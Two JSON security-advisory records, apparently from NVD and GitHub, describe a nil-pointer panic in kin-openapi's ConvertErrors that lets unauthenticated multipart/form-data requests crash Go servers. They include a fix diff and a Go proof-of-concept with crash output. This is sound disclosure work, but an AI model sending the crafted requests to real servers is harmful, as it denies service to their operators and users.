{
  "affected": [
    {
      "affectedData": [
        {
          "product": "kin-openapi",
          "vendor": "getkin",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.10.0, \u003c 0.141.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "kin-openapi is a Go project for handling OpenAPI files. From 0.10.0 until 0.141.0, openapi3filter.convertParseError in openapi3filter/validation_error_encoder.go dereferences e.Parameter.In without checking whether e.Parameter is nil. A malformed non-string scalar field in a multipart/form-data request body produces a nested ParseError with a nil RequestError.Parameter, and applications that render the validation error through openapi3filter.ConvertErrors or ValidationErrorEncoder panic. An unauthenticated client can repeatedly send such requests to deny service when the application lacks a recovery boundary. JSON request bodies and applications that do not use these error-rendering helpers are not affected. This issue is fixed in version 0.141.0."
    }
  ],
  "id": "CVE-2026-76905",
  "lastModified": "2026-08-21T21:17:06.320",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-08-21T21:17:06.320",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/getkin/kin-openapi/commit/1d0a337c9b1570fab283be8a04c8af6e43b9a22c"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/getkin/kin-openapi/releases/tag/v0.141.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-mmfr-pmjx-hw9w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-476"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/getkin/kin-openapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.10.0"
            },
            {
              "fixed": "0.141.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-76905"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T20:55:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA nil-pointer dereference in `openapi3filter.ConvertErrors` lets any unauthenticated client crash a server with a single HTTP request. When an application validates a `multipart/form-data` request body and renders the resulting validation error through the library-provided `ValidationErrorEncoder` / `ConvertErrors` helpers, a malformed scalar form field (e.g. a non-numeric value for an `integer` property) produces an error shape that `convertParseError` dereferences without a nil check. The handler goroutine panics, causing a denial of service. `application/json` request bodies are **not** affected \u2014 the bug is specific to `multipart/form-data`.\n\n### Details\n\nThe panic is in `convertParseError`, at [`openapi3filter/validation_error_encoder.go:119-120`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L119) (still present on `master` at the time of writing):\n\n```go\n} else if innerErr.RootCause() != nil {\n    if rootErr, ok := innerErr.Cause.(*ParseError); ok \u0026\u0026\n        rootErr.Kind == KindInvalidFormat \u0026\u0026 e.Parameter.In == \"query\" {   // \u274c e.Parameter may be nil \u2192 panic\n```\n\nThe comparison `e.Parameter.In == \"query\"` assumes `e.Parameter` is non-nil. It is reached whenever **both** of the following hold:\n\n1. **`e.Parameter == nil`.** A `*RequestError` carries *either* `Parameter` (parameter errors) *or* `RequestBody` (body errors), never both. `ValidateRequestBody` builds body errors with only `RequestBody` set, leaving `Parameter` nil \u2014 see [`validate_request.go:326-332`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validate_request.go#L326).\n2. **`innerErr.Cause` is itself a `*ParseError`** (a `ParseError` nested inside a `ParseError`), so the type assertion on line 119 succeeds and execution reaches the `e.Parameter.In` dereference on line 120.\n\nThe only default code path that satisfies *both* conditions is the **multipart** body decoder, which wraps a failed part\u0027s `*ParseError` inside another `*ParseError` at [`req_resp_decoder.go:1549`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1549) and [`:1558`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1558):\n\n```go\nif v, ok := err.(*ParseError); ok {\n    return nil, \u0026ParseError{path: []any{name}, Cause: v}   // v is a *ParseError \u2192 nested\n}\n```\n\nWhy other paths do **not** reach the dereference:\n\n| Body content type | Failure mode | `RequestError.Err` shape | `.Cause` is `*ParseError`? | `e.Parameter` | Panics? |\n|---|---|---|---|---|---|\n| **`multipart/form-data`** | scalar part fails primitive parse (`age=notanumber`) | `*ParseError` wrapping a `*ParseError` | **yes** | `nil` | **YES** |\n| `application/json` | malformed JSON syntax | `*ParseError` whose `.Cause` is an `encoding/json` error | no (assertion fails \u2192 safe fallback branch) | `nil` | no |\n| `application/json` | wrong type / schema violation | `*openapi3.SchemaError` (routed to `convertSchemaError`, never reaches `convertParseError`) | n/a | `nil` | no |\n| styled `query` / `path` params | invalid format | `*ParseError` wrapping a `*ParseError` | yes | **set (non-nil)** | no (guard/assignment succeeds) |\n\nNote that the sibling `\"path\"` branch two lines above ([line 108](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L108)) already guards correctly with `e.Parameter != nil`; the `\"query\"` branch simply omits the same guard.\n\n**Recommended fix.** Add the missing nil guard to the condition:\n\n```diff\n \t\tif rootErr, ok := innerErr.Cause.(*ParseError); ok \u0026\u0026\n-\t\t\trootErr.Kind == KindInvalidFormat \u0026\u0026 e.Parameter.In == \"query\" {\n+\t\t\trootErr.Kind == KindInvalidFormat \u0026\u0026 e.Parameter != nil \u0026\u0026 e.Parameter.In == \"query\" {\n```\n\nWhen `e.Parameter == nil` the inner `if` is skipped and control falls through to the existing `return \u0026ValidationError{Status: http.StatusBadRequest, Title: innerErr.Reason}` at [line 127-130](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L127) \u2014 a correct `400 Bad Request`. I verified that applying only this one-line guard stops the panic and returns `*ValidationError{Status: 400}`.\n\nMinor follow-up worth including in the same change: for the multipart nested `*ParseError`, the *outer* `ParseError.Reason` is empty, so the fallback `Title: innerErr.Reason` yields a `400` with an **empty `Title`**. The descriptive text lives in `innerErr.Error()` (e.g. `\"path age: value notanumber: an invalid integer: invalid syntax\"`). Prefer a non-empty fallback:\n\n```go\ntitle := innerErr.Reason\nif title == \"\" {\n    title = innerErr.Error()\n}\nreturn \u0026ValidationError{Status: http.StatusBadRequest, Title: title}\n```\n\n### PoC\n\nVerified against revision `98d956447b64eaa10d3570a80b3be1a2849945f1` (also reproducible on current `master`), Go 1.25.0.\n\n**1. Spec** \u2014 one operation accepting a `multipart/form-data` body with a non-string scalar (`integer`) property:\n\n```yaml\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n  /upload:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                age: {type: integer}\n      responses:\n        \u0027200\u0027: {description: ok}\n```\n\n**2. Program** \u2014 validate a request whose `age` part is non-numeric, then convert the error the way a typical error-rendering middleware does:\n\n```go\npackage main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n  /upload:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                age: {type: integer}\n      responses:\n        \u0027200\u0027: {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// multipart body: a non-numeric value for the integer property \"age\"\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\t_ = w.WriteField(\"age\", \"notanumber\")\n\tw.Close()\n\n\tr, _ := http.NewRequest(http.MethodPost, \"/upload\", \u0026buf)\n\tr.Header.Set(\"Content-Type\", w.FormDataContentType())\n\troute, pp, _ := router.FindRoute(r)\n\n\treqErr := openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\tfmt.Printf(\"ValidateRequest returned: %T\\n\", reqErr) // *openapi3filter.RequestError\n\n\t// What an application\u0027s error-rendering middleware calls:\n\t_ = openapi3filter.ConvertErrors(reqErr) // panics\n\tfmt.Println(\"no panic (unexpected)\")\n}\n```\n\n**3. Observed output** (`go run .`):\n\n```\nValidateRequest returned: *openapi3filter.RequestError\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x2 addr=0x20 pc=0x...]\n\ngoroutine 1 [running]:\ngithub.com/getkin/kin-openapi/openapi3filter.convertParseError(...)\n\t.../openapi3filter/validation_error_encoder.go:120 +0x17c\ngithub.com/getkin/kin-openapi/openapi3filter.ConvertErrors(...)\n\t.../openapi3filter/validation_error_encoder.go:42 +0xec\nmain.main()\n\t...\nexit status 2\n```\n\nThe panic is at exactly `validation_error_encoder.go:120` \u2014 the unguarded `e.Parameter.In` dereference.\n\n**Control (confirms JSON is not a vector):** repeating the setup with an `application/json` body and either a malformed body (`{\"age\": `) or a wrong-type body (`{\"age\": \"notanumber\"}`) returns from `ConvertErrors` normally, with no panic. Only the `multipart/form-data` path crashes.\n\nIn a real HTTP server, `ConvertErrors` / `ValidationErrorEncoder.Encode` runs inside the request handler, so the panic aborts the in-flight request (connection reset / 500) and, without a `recover()` in the middleware chain, is trivially repeatable.\n\n### Impact\n\n- **Type:** Nil-pointer dereference \u2192 **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` that (1) exposes an endpoint accepting a `multipart/form-data` request body with at least one non-string scalar property (`integer` / `number` / `boolean`), **and** (2) renders validation errors through the library\u0027s own `ValidationErrorEncoder` or `ConvertErrors` helpers. These are the library\u0027s advertised error-rendering helpers, so this is a realistic default integration.\n- **Attack:** a single crafted, unauthenticated request (a multipart part whose value doesn\u0027t parse to the declared scalar type). No credentials, special privileges, or unusual client capabilities are required, and it is repeatable at will.\n- **Consequence:** the handling goroutine panics. Absent a `recover()` boundary in the application\u0027s middleware, the request is aborted; sustained requests deny service. Confidentiality and integrity are not affected.\n- **Not affected:** applications that only accept `application/json` bodies (verified above), applications that do not use `ConvertErrors` / `ValidationErrorEncoder` to format errors, or applications that wrap handlers in a `recover()` (which converts the crash into a handled 500 but still prevents normal error rendering).",
  "id": "GHSA-mmfr-pmjx-hw9w",
  "modified": "2026-08-21T20:55:46Z",
  "published": "2026-08-21T20:55:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-mmfr-pmjx-hw9w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/commit/1d0a337c9b1570fab283be8a04c8af6e43b9a22c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkin/kin-openapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/releases/tag/v0.141.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "kin-openapi openai3filter: nil-pointer panic in ConvertErrors on malformed multipart/form-data body enables unauthenticated DoS"
}